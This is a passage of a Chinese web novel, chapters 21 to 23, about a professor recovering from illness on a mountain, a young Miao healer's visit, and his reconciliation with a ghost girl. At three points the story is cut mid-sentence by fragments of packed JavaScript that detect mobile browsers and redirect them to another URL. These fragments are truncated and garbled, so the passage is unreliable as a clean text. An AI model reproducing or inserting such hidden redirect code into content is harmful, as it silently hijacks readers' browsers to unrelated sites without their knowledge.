阿尧将之前的碗盘拿进厨房洗水池,伴着哗啦啦的水声说:“对了,我刚过来的时候,碰见那个卖拔丝地瓜的老张,他说您上次去东西卖光了,这几天又没见着你,您要是想吃,下次告诉我,我给你买上来。”然后他自顾自地小声嘀咕:“蔡叔啥都会做,咋就这个学不会呢。” 掺了白糖的粥冲散一半发烧导致的苦味,但是吊不起任何胃口,程澍礼问:“老张一般什么时候出摊?” 阿尧说:“没定数,大家都是碰到了会买点。” 程澍礼放下勺子,屋外绚烂橘红的天空全数没进他的眼底,而他只是定定看着对面的椅子。 他轻声唤道:“阿尧。” 阿尧正用抹布擦手,闻言抬起头:“怎么了程教授?” 程澍礼的语气毫无情绪:“你们这里,为什么一开始想着种苹果,而不是其他水果作物呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729477|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“因为甜啊。”阿尧挠挠头,像第一次见面时那样憨厚的笑,“苦日子过多了,就想吃点甜的。” 吊脚楼外,阳光在林间温柔穿梭,山谷升起朦胧的水汽,大马安静地低头吃草,飞鸟成群越过高山,缕缕薄云随风而动,广袤群山焕发着源源不断的生机和温暖。 程澍礼目光平和深邃,沉默地望着屋外的风景。 阿尧走后,他从箱子里找到剩下的线香,像之前一样,在香座里插好点上,稳稳地放在饭菜旁边。 往后几日都是如此,但棠又又还是没有来。 日暮黄昏,又是一场噩梦惊醒,程澍礼怔怔坐在床边,望着又静又沉毫无活力的吊脚楼,轻轻叹了声气。 心里想着,这样下去可不成啊。 他起床随手拎起一件外套,去山下买拔丝地瓜。 第十九天,程澍礼将报告发送给老金,喂完了马,吃完了药在床上补觉。 将睡未睡间,他隐约听见外面在下雨,与此同时,不远处的餐桌,传来碗盘轻轻碰撞的声音,细碎而谨慎,似乎是害怕惊醒床上睡觉的人。 心神倏然一阵悸动,程澍礼立刻清醒坐起来,视线毫无预兆地撞上不知何时进来的卓客,眼神稍稍变得黯淡。 卓客收拾碗筷的动作一僵,赶忙说:“把你吵醒啦!不好意思啊程教授。” 借着昏淡的日光,他看清程澍礼憔悴的病容,忍不住大呼出声:“哎哟我的程教授,你这是怎么了!你要出点什么事儿,我们都得被老金拉出去曝尸游街!” “没事儿快好了。”程澍礼起床,摆了摆手,带着鼻音的声音问:“今天怎么是你啊?” “阿尧跟梁闪闪去后山画地图了。” 投资的事重启,梁晶晶的勘测任务继续。 说着,卓客伸手一摸程澍礼额头,还有点低烧,他嘴里嘟囔:“这都多少天了还没好全。”不是没去山下的医院看过,医生给出的答复就是水土不服,加上疲劳过度,让回来好好养着。 可一直这么养下去总不是个办法,卓客大着胆子问:“程教授,你要不要试试别的法子?” 程澍礼转身找雨伞:“什么法子?” 卓客说:“还记得我之前说过的那个苗巫吗,人家会点医术,要不让找过来给你看看?” 话是这意思,但程澍礼知道他又要扯那些怪力乱神了,他没说话,撑开雨伞准备出去,被卓客一把抢过:“我去我去。” 卓客动作麻利地将白色大马牵到吊脚楼的屋檐下,细心地系好缰绳,然后踏着雨水跑回来,接着刚才的话题:“反正就看个病,绝对不会动摇你马克思唯物主义的根基。” “不了。”程澍礼态度坚决地摇头,随口胡诌了个理由:“我怕他说我上辈子得罪过马。” 他还怕某个胆小鬼因此更不来了。 卓客笑:“哪能啊!你这马不挺乖的吗!”不吵也不闹,一天到晚就安静地在外面吃草,可省心了。 他边用自己那套理论给程澍礼洗脑,边走回屋内,从餐盒里拿出刚买的拔丝地瓜:“诺苏说你天天下山跑去买这玩意儿,刚好碰见,给你带一份上来了。” 均匀裹着糖衣的拔丝地瓜,色泽莹润诱人,在空气中散发着清淡的甘甜,这几天程澍礼定时下山,有时候能买到,有时候买不到。 他礼貌地说了声谢谢,拿起筷子贯彻自己“食不言,寝不语”的规矩,卓客坐在对面继续喋喋不休。 纵然程澍礼没有答应,但出于为程澍礼的考虑,几天后,卓客还是为他请来了那位神乎其神的苗巫。 卓客声情并茂地介绍:“这位苗巫,不仅精通医术,而且能通天地话鬼神,咱也不是迷信地说要百病不侵,就求个平安。” 他说得天花乱坠,但程澍礼提不起丝毫兴趣,寒风侵扰,他身上披着一件单薄的外套,背脊挺直坐在桌前,目光淡然地看向门口。 片刻后,从门外走进来一个长相清丽,笑容活泼的少女。 21. 第二十一场雨 苗巫给人看病的时候,不喜欢有外人在场,所以卓客就只能蹲在吊脚楼外面,守着那匹白色大马。 一阵微风吹过,大马忽然躁动不安起来,撅起前蹄嘶鸣了两声,卓客赶忙过去,牵着缰绳将大马拽下来,轻柔地抚摸它头顶的鬃毛,像平时哄糖豆儿那样地哄:“马儿乖,马儿好,马儿全身都是宝。” 吊脚楼内,桌上线香青雾袅袅。空气一片寂静,只有墙上的钟表发出细细的嘀哒声。 面对程澍礼目光里的愕然和不解,年轻的苗巫则显得自在坦然,她将肩上古朴的药箱放到桌上,边从里面拿看诊的东西,边说道:“我知道你在想什么,你一定觉得我应该是一个脸上皱皱巴巴,看人老眼昏花的白胡子老头。” “不要惊讶,大千世界多的是你想象不到的事。”苗巫将东西依次摆好,然后优雅落座,笑着朝对面伸出手:“程教授你好,我叫花瀛。” “你好,程澍礼。”程澍礼伸出手,回握之后一触即离。 从进来开始,花瀛的脸上始终洋溢着笑意,整个人看上去单纯而纯朴:“说说吧,你的症状。” 程澍礼拿起手边的茶壶,右手去够茶盏,刚翻起一个动作顿住,随即放回去换了另一个,“发烧,头疼,咳嗽,但这些我的一个中医朋友之前帮忙开过药,没什么大问题了。”出于待客之道,他双手将茶水放到花瀛面前。 花瀛好整以暇地看着他:“这么说,你不想让我帮你看病?” “不是。”程澍礼摇摇头,露出一个平和的笑容,“我的体温从昨天开始已经趋近正常,没有再看的必要了,辛苦你今天白跑一趟。” 他用一种客气而疏离的方式,表达了自己对于花瀛的尊重,同时也拒绝了卓客口中的那些隐晦的东西。 “唔。”花瀛用手指拖住下巴,食指轻点脸颊,面带微笑地眯起眼睛,“你不相信我?觉得我太年轻?” 程澍礼失笑:“当然不是。” “还是说你就喜欢那种皱巴巴的糟老头子!”花瀛眼神骤然犀利,脸上立刻不忿起来,“真搞不懂你们这些拿年龄说事儿的人。” 程澍礼低头,无奈捏下眉心:“花瀛姑娘,我只是......” 花瀛置若罔闻,随意拨弄着手里的小竹罐:“我爷爷他老人家早已仙逝,你就死了这条心吧,而且我看你文质彬彬的样子,也不像是不讲道理的人,肯定不会做出那种盲目听信经验的事情的......” 在她絮絮叨叨的嘟囔中,程澍礼投降般地伸出了手。 花瀛面色一喜,扔掉小竹罐探手过去,乐滋滋地搭上他的脉。 一分钟后,她语气正色道:“脉象不浮不沉,节律一致,确实没什么问题了。”说着,她停两秒,转而问:“你是从什么时候开始生病的?” 程澍礼回答:“二十三天以前。” “用药呢?” “西药十天,中药十三天。” 花瀛震惊高呼:“这么严谨!” 程澍礼收回手,仍然一副客气口吻:“麻烦你了。” “既然程教授这么严谨。”花瀛放慢语气,视线颇有深意地挪到程澍礼脸上,一改方才的不正经,“为什么不跟我说说你的噩梦?” 这下震惊的人换成了程澍礼。 对此花瀛毫不意外,并且象征性地点点头,似乎很满意他的反应,她双手环胸往椅子上一靠,下巴一昂骄傲重申:“说了多的是你想象不到的事。” 程澍礼深吸一口气,似乎在整理自己的情绪,他承认:“是,最近半个月。” 花瀛说:“你应该也不想告诉我梦里的具体细节。” 程澍礼声色淡然:“做梦而已。” 虽然梦中画面光怪陆离,但他的理智告诉他,那不过是因为生病导致的大脑异常放电。 但不知出于什么目的,他问道:“你不是能看出来?” “说实话,我并不知道你梦里有什么。”花瀛扬唇笑一下,眼神明亮而清澈,显现出不属于这个年纪的深沉和洞明,“也可能是有人不想让我知道。” 程澍礼心头一紧:“谁?” 花瀛不答反问:“比起是谁,我更在意的是,你信不信你梦里的那些事情?” 程澍礼抬头直视她的眼睛,没有说话。 来之前,花瀛从卓客那里听过一些程澍礼的事,知道他对这些隐秘古老的文化持有尊重而不相信的态度,她点到为止,缓缓移开视线,望向程澍礼身后的窗户。 无声半分,隔着几缕氤氲薄烟,花瀛重新看向程澍礼:“程教授,你来棋山多久了?” 程澍礼不假思索:“再过三天正好三个月。” 花瀛浅浅一笑:“那你有好好看过棋山的树吗?” 闻言,程澍礼转头看向屋子西边的窗户,窗外树木参天,苍劲的枝干撑起巨大的树冠,风过林梢,枝桠绿意盎然。 近三个月来,明面上他忙于引种试验,撰写气象报告,接待投资商,暗地里则帮着棠又又找坟,一直在忙碌的路上,这是他第一次坐下来,认认真真地去看这些遍地可见的大树。 但他并没有看出什么不同,只能疑惑地望向问话的人。 “我说那些因缘和合、因果循环的东西你肯定不愿意听,也不愿意信,那就说在棋山你能看见的大树,无一不高大挺拔,枝繁叶茂,但它们想要长成今天这样,就必须努力地往光明的地方开枝散叶,否则就会因为晒不到太阳,死在黑暗的地方。”对面椅子,花瀛幽幽地笑着看他,光影交错落在她眼底,她的声音听起来悠长而深远,像是隐藏了许多的故事和秘密。 “程教授,其实人和树一样,越是向往高处的阳光,它的根就越是要伸向黑暗的地方,你越想摆脱什么,就越会被什么东西控制。” 她说:“不管你信不信,有人在很久以前,就替你做了选择。” 听到最后一句,程澍礼捏着茶盏的手微微收紧,他迅速思忖一瞬,但面上保持镇定自若,看不出任何情绪,依然是那个稳重冷静的程教授。 花瀛倒也不在意,也没指望他有什么回应,只是拿起面前的茶盏,小酌一口茶水,润了润喉咙,然后轻轻放下:“茶不错。” 既然程澍礼身体没什么问题,便没再多待的必要,花瀛起身收拾东西,看见桌上点着的线香,她无意问了嘴:“这是干什么的?” 程澍礼口吻一板一眼:“修身养性,平心静气。” “好你个卓客,长得浓眉大眼的结果一肚子坏心眼!”花瀛忽然咬牙切齿,仿佛刚才那副高深作派全是假象,“他说你只会在下雨天点香!根本就是骗我的!” 她跨上药箱三步并作两步跑出去,大骂正在给马编辫子的卓客:“坏小子!亏我帮你那么多,你为什么要诓我!” 卓客瞪着个大眼睛,一脸懵怔:“我咋啦?!” 花瀛单手掐腰,指着门内的程澍礼和线香大喊:“明明程教授晴天也会点香的!你为什么只说雨天?” “我不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733608|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道啊!”卓客脑袋扒在门框上,“他之前就是雨天才会点啊!” 花瀛甩手转身就走:“那他现在是在干嘛!招鬼啊还是上供啊!” 卓客追上去:“我真不知道啊!” 花瀛的声音渐行渐远:“我不管!今天晚上你的花一定会死!会被狗撒尿浇死!” “花姐,瀛姐,花花儿,求求你了,我那该栽的三角梅......” “不管!骗人是小猪!” 两人的声音渐渐远去,吊脚楼安静下来。 独自一人,程澍礼没有开灯,盯着仍在燃烧的线香,直到最后一截香灰燃尽。 太阳逐渐坠落进山谷,他长久地静静坐着,周身隐没在一片阴暗,逆光的眼眸深不见底,唯独眼角余着一抹光亮,不知道在想什么。 也许是心理作用,又或者是别的原因,和花瀛聊过之后,程澍礼睡了很短却很好的一觉。 梦里,他感觉自己躺在一片安宁祥和的地方,日影融融,暖洋洋的空气轻拂面庞,弥漫着细腻而悠长的花香,白影缓缓从远处走来,最终停在他的身边。 白影俯身看了他一会儿,笑着问:“你怎么来这里了?”声音遥远而飘渺,好像和他隔着一道无形的禁制。 他站起来,发现自己只能仰望这片白影,也发不出任何声音,而他的身体因为寒冷开始控制不住地颤抖。 似乎是看出他的不安和惶恐,白影的手指穿透那道无形的禁制,牵起了他的手掌。 他低头,看向和白影十指紧握的手,惊愕地发现自己的手掌竟然布满了溃疡,变得畸形扭曲,完全看不出原来的样子。 可是他没有害怕。 一股莫名的力量从掌心渗透而来,驱散了他所有的迷茫,白影带着他走过长长的一段路,道路两旁开满洁白无瑕的海棠花,迎面吹来和煦的风,花瓣漫天轻盈飞舞,又层层叠叠地铺在大地上。 前方白光乍现,白色的光芒纯净而耀眼,代表着通往另一个世界的出口。 像是预知到接下来会发生什么,他回头,眼中流露出连自己也无法理解的不舍和哀伤,而那白影再次笑了下,接着用力一推他的肩膀,将他推向那道光芒之中。 光芒瞬间爆发,如同亿万星宿同时绽放,将天地映照得一片通明。 耀眼至极的光芒中,他失去重力般急速下坠,而在急速流逝的视野中,他蓦然看到一抹蓝色的裙摆,转瞬间消逝在不可触及的尽头。 程澍礼睁开眼睛,眼中渐渐聚起一层清明,林间暮色穿过吊脚楼的窗户,斜下宿命般的一束光。 寂静中,他听见棋山在下雨。 滴答滴答,水珠细密而轻巧地落进林网,沿着树叶的脉络缓缓下滑,滴落在吊脚楼的观景台上,碰撞出清脆空灵的回响。 说不出和上次有什么区别,只是程澍礼心中一半坚定一半胆怯,交织萦绕着扩散到整个身体,生出不可名状的紧张。 随之而来的,是他那颗长期保持平稳均匀跳动的心脏,在这一刻变得有力而剧烈,一呼一吸之间慢慢乱了节奏。 程澍礼从床上爬起来,无暇去管失控的原因,脚步匆忙地走向门口。 光影一道道从他身上掠过,每一步都仿佛电影画面那样的漫长。 离门几步的距离,程澍礼停下来,隔着观景台上方的窗户,看见那颗毛茸茸的脑袋,终于无可自抑地笑了出来。 听见声音,棠又又一骨碌爬坐起来,眼睛亮亮:“你醒啦!” 22. 第二十二场雨 在她的注视下,程澍礼走到观景台坐下,看着她的脸,郑重而肃穆地道歉:“又又,对不起。” 只一句话棠又又就懂了,四目相对,瞳孔深处倒映着满山绮丽和彼此的脸,程澍礼的声线带着不易察觉的颤栗:“我不该用那么恶劣的语气和你说话。” “恶劣吗?”棠又又眨眨眼睛,她歪头回想了下,“其实你算很有礼貌的了。” 她盘腿坐在程澍礼身边,托腮望着连绵的群山,一副见怪不怪的平常语气:“每次棋山一下雨,就会有人骂我是鬼天气,害人精,或者灾星克星,什么难听的都有。” 程澍礼小声说:“你不是。” 这声音听着低低落落,棠又又脑子一灵转过来,脖子微微前倾,眉眼弯弯去看程澍礼的眼睛:“程澍礼,你不会哭过了吧?就因为我不来找你玩儿?” 程澍礼摇头:“没哭。” 棠又又学着他的语气:“你是想说‘没哭但是想你想得差不多快要哭出来了’吗?” 可能是棠又又的构成和正常活人不同,所以程澍礼也搞不明白,为什么她总有那么多古灵精怪的想法,叫人无法捉摸,也叫他无端的心头悸动。 无声的沉默里,只有山坳草丛里模糊的蝉鸣。 意识到程澍礼没有反驳,棠又又嘴角笑容更甚,她抬起手,恶趣味地拍拍程澍礼的头:“我这不是来找你玩儿了吗?早这么乖不就好了。” 没有实质的魂体穿过程澍礼的头发,伴着几滴雨点,在他的额头落下一片冰凉。 “你不是研究对象。”程澍礼突然特别正经地说了句,他的双手交叠放在腿上,背脊随意地向后躬着,好像身处一个放松的环境里,他第一次不那么注意自己的坐姿。 “虽然目前我还不知道你是什么,可能以后也不知道,但一定不是让你生气的研究对象,我那样写只是科研习惯的标注,可是我的行为终究给你造成了伤害。”他目光缓缓转向棠又又,眼底深处仿佛一片幽邃的海洋,“所以这件事,我也要向你道歉。” 棠又又郁闷地嘀咕:“你就是什么都不知道。” 接着,程澍礼又说:“不过可以确定的是,因为我思考了太多关于你的事情,所以做梦都是你。” 于自身而言,他尊重未知,也在遇到棠又又之后不断刷新认知,用更加广阔的视角去看待这个世界,而这一切,都建立在坚守内心原则的基础上。 他不相信梦里的事情真的存在,依然觉得那是人在睡眠周期时,大脑对琐碎信息正常的整合、分类和存储。 “你梦到我了?”像是发现了不得了的事情,棠又又活泛起来,她笑嘻嘻把脸凑到他面前,“梦到我什么了?” 程澍礼看她一眼:“你让我去死。” 笑容尴尬凝固,棠又又自上而下扫一眼程澍礼,又想了想刚才偷看的温度计,心里想着不是不烧了吗! 她坐回来挠挠脸颊:“我也没那么小心眼儿。” “不是小心眼。”说完程澍礼看着棠又又,三言两语概括那些奇异的画面,“梦里我不愿意离开,最后是你过来,把我送到一个不知道是什么的地方,然后我就醒了。” 透过只言片语,棠又又仔细观察他的反应,试图在他的平静中找到一丝不一样的东西:“是不是你前世的事情?” “不可能。”程澍礼毫不犹疑,盈盈暮色照出他的认真,“如果人真的有前世,按逻辑就应该有来生,凭什么你没有?” 棠又又嘴巴半张,不知道该怎么回答。 想了想,她不死心地问:“假如是呢?” 程澍礼说:“假如那是我的前世,我为什么会死那么早?” 这话把棠又又问住了:“鬼才知道呢。” 程澍礼问:“那你为什么不知道?” “哈!”棠又又立马梗起脖子,“我要是知道,现在坐在地府里批流程的就是我了!” “是啊。”程澍礼温柔地笑,“可是你现在坐在人间呢。” 程澍礼开玩笑跟他做研究一样严谨,一个问题接一个问题,有一句是一句,就那么润物细无声的,把棠又又来之前,心底最后的一点酸涩也吹没了。 因为她觉得现在的程澍礼很可爱。 她的目光转向前面的风景,薄暮云沿着山坡缓缓上升,落雨掉进寂静的森林,不远处,白色大马正吭哧吭哧地啃草皮。 隔两秒,棠又又闷闷道:“我知道,朱正富的投资对棋山对气象站都很重要,但是那天在上山之前,朱正富他们去了尼莫阿奶的苹果园,他不仅不知道山上不能抽烟的事,还想踢六六。” 程澍礼看向那头树下,六只颜色不同的小狗一字排开,同时仰起脖子,目瞪狗呆地看着眼前的庞然大马。 “他是一个优秀的商人,但不一定是最适合这里的投资商,如果他来的话,棋山的树和小动物可能会受到一些伤害。”棠又又慢吞吞地说,“即便有你认为的规则和框架作为束缚,但那只是明面上的能看见的,暗地里他会做什么事情,我们都不知道。” “而且,我很讨厌那个叫平宫的人。”一提起这个人,棠又又就恨得咬牙切齿。 “你以前见过他?”程澍礼问。 “没有,可是我能听懂他说的话。” “日语?” 棠又又嗯了声。 “这些你怎么没有告诉我?” “你没有问我。”棠又又转过脸,声音里有一点委屈,“你一直在跟我说我做错了。” 程澍礼检讨:“是我的错。但是如果下次还有同样的情况,你告诉我,我会听的。”像之前无数次那样,他会倾听她那些好奇的问题,然后像讲一朵云一样,耐心地跟她讲话。 山尖上,月亮露出莹白的虚影,棠又又望着程澍礼,弯眼笑了下:“好。” 静了会儿,程澍礼想起来:“那对夫妻的车是你拦的?” 棠又又狠狠点头,对自己选中的人十分满意:“我跟了好久呢!他们不仅人长得好看,对养的那只黄色小猫也可好了,一看人就很善良。” 程澍礼低头,自嘲地叹了句:“除了我和朱正富,你看谁不善良?” 棠又又没听到这话,而是在自己身上左摸摸又看看,不知道在找什么,过了好半天,程澍礼听见她“诶”了声:“找到了!给你!” “当啷!” 一枚金黄色的铜钱掉在程澍礼手边。 大概是因为和棠又又相处过几个月,人的接受度变高,所以程澍礼对她能凭空变出个铜钱已经不足为奇,只是问:“这是什么?” “那个老毕摩给我的铜钱,她说这个能保佑我的平安,我想着能保佑鬼的话,应该也能保佑小孩子吧。”棠又又眼底天真,看着程澍礼说道,“你帮我送给老金的孙女。” 程澍礼捻起那枚黑色的铜钱,放在指尖上细细打量,铜钱是很常见的外圆内方样式,内方棱角分明,外圈光润圆滑,只有最边缘的地方因为年代久远而稍有磨损,在晚霞的照耀下,上面的刻字隐隐泛出细润的微光。 盯着那圈看不懂的文字,程澍礼下意识皱了皱眉,在他对这类文物已有的了解中,不记得有这种刻字的铜钱。 他决定找个时间问问李多聿。 程澍礼不说话观察铜钱的时候,表情极其严肃,看得棠又又心头一跳:“你不会是想把它做成切片然后放到什么光谱仪底下研究吧?” “......没有。”程澍礼将铜钱攥进手心,动作小心翼翼,“我只是在想她为什么要给你一枚铜钱。” 棠又又也说不清楚:“谁知道呢,她在屋子里呆了几天几夜,出来就把这玩意儿给我了。” 程澍礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738199|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:“这么重要的东西,你就送人了?” 棠又又四仰八叉往观景台上一躺,大大咧咧张开双臂:“当是我搅黄投资的赔偿吧。” 程澍礼又看了眼手中的铜钱,张口还想说什么,被棠又又语重心长地打断:“你就是因为每天脑子里要想的事情太多太杂,心思太重,所以才这么容易生病。” “要命的是,你还非要把自己困起来,每天琢磨来琢磨去的,好像有人逼着你一定要做得很完美一样,这样身体能好才怪呢!不仅不能逼自己,更不能跟别人比!人就像一粒种子,要顺应时令好好浇水施肥才能长成水稻,如果硬要拿自己跟别人比,逼着自己比别人厉害,那就是揠苗助长,况且也不是每粒种子都能那么高产,只要我们要做一粒好种子,能长成健康的水稻,就好啦!” 她躺在那里碎碎叨叨,声音从后面传过来,散进林间的细雨,程澍礼的心仿佛被柔软的羽毛一掠而过,好像那雨下在了心里。 他继续坐着,嘴角带着微笑,一言不发地听她教诲。 棠又又说:“偶尔有时候,你可以试着换个角度,说不定能有新的发现。” 程澍礼回过头:“比如呢?” 棠又又拍拍自己身边:“你躺下。” 程澍礼依言照做。 如果从吊脚楼下方看过去,程澍礼的双腿自然垂落,旁边棠又又光着的双脚一荡一荡,背景是辽阔的群山和橘红色的天幕,她的魂体时不时会碰一下程澍礼的裤子,但是他们都没有察觉,气氛宁静而美好。 “其实大树不止会往高处长,你抬头往上看。”棠又又伸出一根手指,指着吊脚楼上面的大树:“大树就会低下头来拥抱你。” 说完像是自己也觉得幼稚,棠又又咯咯笑了出来。 程澍礼知道她听见了自己和花瀛的对话,知道她早就来过,但他没有去想这一切是怎么发生的,而是放空自己,和棠又又一起望着屋顶翠绿的树叶,它们闪烁着微弱的金光,轻轻扑在褐色的屋檐,随风轻盈的舞蹈。 从宇宙的尺度来讲,程澍礼自认为本身是个很渺小的存在,他从未想过有一天,会从原则的框架里,剥离出一部分的自己,去体会一个自己不会相信的存在。 事实上,他认真体会了。 也许体会的过程并不顺利,因为人鬼殊途,大多情况下,他无法理解棠又又那些不知从何而来的天马行空的想法,但是他愿意,为了理解她而去做出努力。 他说:“朱正富。” 棠又又茫然:“啊?” 程澍礼:“去他妈的。” 愣怔一秒,棠又又噗嗤笑出了声。 程澍礼:“棠又又。” 棠又又:“啊?” “你不能再滥用魂力胡闹了,不然会被抓走做成切片放在光谱仪下研究的。” “他们就这么对自己祖宗?!” “真能从你身上研究出点什么,你也算称得上福荫后世了。” “不要!”棠又又呼出一口气,“那些人太吵了,我就喜欢安安静静地呆着。” 程澍礼看着落雨的天空:“谁能有你吵啊祖宗。” 果然静了没到两分钟,棠又又又说话了。 “诶你给大马取名了吗?” 程澍礼闭上眼:“它叫大顺。” “六六大顺的那个大顺吗?” “是。” “大顺大顺。”棠又又突然朝天伸出五根手指头,大喊一声:“风调雨顺!五谷丰登!” “程澍礼,我喜欢这个名字!” 程澍礼笑着嗯了一声。 ...... 晚上,阿尧收到程澍礼发的消息,程澍礼说想要恢复正常饮食。 他不禁两行热泪紧紧抱住阿芝:“呜呜呜程教授不会死了,我头发保住了。” 23. 第二十三场雨 吊脚楼恢复了往日的活力。 听说程澍礼病情好转可以正常吃饭,次日中午,不仅阿尧,卓客和老金都从家里送来了各式各样的饭菜,琳琅满目地摆满了一整个餐桌,结果自然而然,都成了棠又又的贡品。 吃饱喝足之后,棠又又平展展地往地上一躺,望着天花板悠哉喘气,感叹还是活人会过日子。 程澍礼从书架中取下一本有关彝族文化的书,是李多聿看过他邮件的问题之后,特意买来带给他的。 程澍礼试图从中找到一些线索,他专心地翻着书,从这边书架走到另一边的书桌。 “啊——”棠又又突然迸发一声尖叫,“你踩到我啦!” 程澍礼慌里慌张地抬脚,单脚定在原地,嘴里忙不迭道歉:“对不起!对不起!” 棠又又腾地坐起来,幽怨的眼睛自下而上,看着他义愤填膺道:“程澍礼,虽然鬼没有痛觉,但你也应该给予我最起码的尊重!” 搞清状况的程澍礼松一口气,他迅速站好,看一眼她躺的地方:“那你能不能以身作则,至少不要躺在我工作的地方。” 棠又又不情不愿地盘起腿,双手抱胸撅着嘴,背靠着桌腿,右脚丫子不耐烦地一抖一抖。 程澍礼坐到书桌,拿起笔记本将重要的信息记下来,写完两行停笔,他眼角余光瞥见棠又又烦躁的后脑勺,忽然想到了什么:“你这几天去哪儿了?” 棠又又瓮声瓮气:“我有个林间小屋。” “在哪?” “荒山啊。” 程澍礼说:“带我去看看。” “不行。”棠又又想都没想地拒绝了。 程澍礼刚站起来没走两步,听见这话又转过身,隔着椅子缝看向她的发顶:“为什么?” 转过头,棠又又露出一个可怜的表情,但眼中藏不住的狡黠:“脚断了。” “那太可惜了。”程澍礼边说边给六六的爪子换药,似乎由衷地为她感到惋惜,“这几天是彝族的火把节,山下会有巡街祈福,诺苏说特别热闹,但是你脚断了,没法儿去看了。” 诱惑! 男人口蜜腹剑的诱惑! 但是彝族火把节着实好玩,棠又又心动不已又磨不开面子,便伸出被程澍礼“踩断”的那只脚,毫无感情地做作大喊:“啊啊啊我的脚好疼呀!可能要截肢了,要不你把它截下来带走吧。” “既然这样的话。”程澍礼走过来,双手背在身后,微微俯身和她对视,“根据医嘱,截肢的病人术后要清淡饮食,以后每天只能吃白粥,尤其可乐,是万万不能喝的。” 阳光透过薄雨,穿进屋内落在程澍礼身上,棠又又整个魂体都被他的影子罩住,她仰头,纤长的睫毛扑扇扑扇,怔怔望着这个自己死平见过的最好看的脸,一时失言。 程澍礼弯起眼睛,淡笑着强调:“你确定断了起不来了对吗?” “对......”话是这么说,但她气势明显不如刚才,好半天才喃喃出后半句,“......不起。” 看着她呆楞中带着点倔强的反应,程澍礼无奈地笑着说:“可乐要是知道你能为它做到这份上,也算物有所值了。” “它本来就物有所值!”棠又又飘起来,愤愤然甩下一句,“你这种只会喝茶的老年人才不懂。” 她气呼呼飘过程澍礼身边,程澍礼跟着转头,视线落在餐桌上的两只杯子,青瓷茶盏他用来喝茶,喝完没有收好和其他茶盏摆在一起,而是挨着那只小狗花纹的马克杯。 小狗马克杯用来装棠又又的冰镇可乐,是今天早上去买拔丝地瓜时,从诺苏的小卖部买的。 风格迥异的杯子挨在一块儿,好像循规蹈矩的生活多了一点新的东西。 三十年的生命中,从来没有过这种新奇的感受,以至于程澍礼情不自禁多看了一会儿。 他半天没有动,棠又又以为他又不舒服,快速飘过来:“你又发烧了吗?要不今天还是别去了?” 程澍礼已经撑开雨伞,语色如常:“走吧。” ...... 荒山,后岭。 因为这次有棠又又的带领,程澍礼的探寻之旅和他预想的一样容易,只是那所林间小屋,还是超乎他的想象。 严格来说,那都不能算是一间小屋,而是一座潦草不堪又摇摇欲坠的木头架子。 屋顶的茅草早已脱落殆尽,最后的几根夹在梁木里随风飘摆,而那梁木也因岁月变得腐朽不堪,上面布满了青苔和虫洞,仿佛只要轻轻一推,就能将其彻底摧毁,梁木底下长着蘑菇的烂草垛,也充分说明了时间无情的摧残。 一股难以言喻的沧桑感扑面而来。 程澍礼转过头,看向身边的棠又又:“这就是你的林间小屋?” “是啊!” 棠又又看上去对这间小屋很满意,她飘进去坐到烂草垛上,展开双臂示意外面的树林:“林子。” 接着双手指尖相接举在头顶:“小屋。” 最后她摊手:“林间小屋。” 两根粗大的木头倾塌下来,横亘在入口的地方,程澍礼不得不收起雨伞弯腰进去,他半蹲在地上观察着“屋内”的每一寸角落,视线细致入微,不放过任何一个细节。 毫不意外的颗粒无收,他问棠又又:“你是什么时候开始呆在这里的?” 棠又又“唔”了声,回忆数秒后说道:“刚醒过来不久,那会儿这地方还能挡雨呢,可能是某个过路的人,随手搭的落脚的地方吧,人走了,就让我占便宜了。” “家徒无壁的便宜吗?”程澍礼忍不住调侃。 棠又又辞严义正地反驳:“杜老爷子都说‘安得广厦千万间,大庇天下寒士俱欢颜’,那就算是孤魂野鬼,希望有个安身之所也不奇怪吧,所以!”她双手合十虔诚地放在胸口,一脸的感激之情,“这可能是山神爷爷看我太可怜,就恰好让人路过此地,恰好让他搭了个茅草屋,又恰好被我看见了呢。” 别说,这句《茅屋为秋风所破歌》引用的正是时候。 程澍礼翻开烂草垛的一角,边低头看下面的泥土,边随口问她:“你都会背八年级的诗歌了?” 棠又又趴下来,双手托腮跟他一起看,因为手压着脸,说话时咕噜咕噜:“唐僧的紧箍咒我都能倒背如流。” 沉浸在探秘的程澍礼听话抬头,一半诧异一半期待,等她接下来的话。 棠又又迎上他的目光,得逞一笑:“不准偷看不准骂人不准浪费坐好坐正好好吃饭不准说话格式要对齐引用要正确数据要清晰结果要直接有待改进回去重写少说废话毫无逻辑闻所未闻一派胡言胡说八道全部删掉!” 她嘴角快要咧到耳后根:“是不是啊程长老?” 程澍礼顿时反应过来:“你什么时候来过?” 棠又又笑:“你发烧还训学生的时候。” 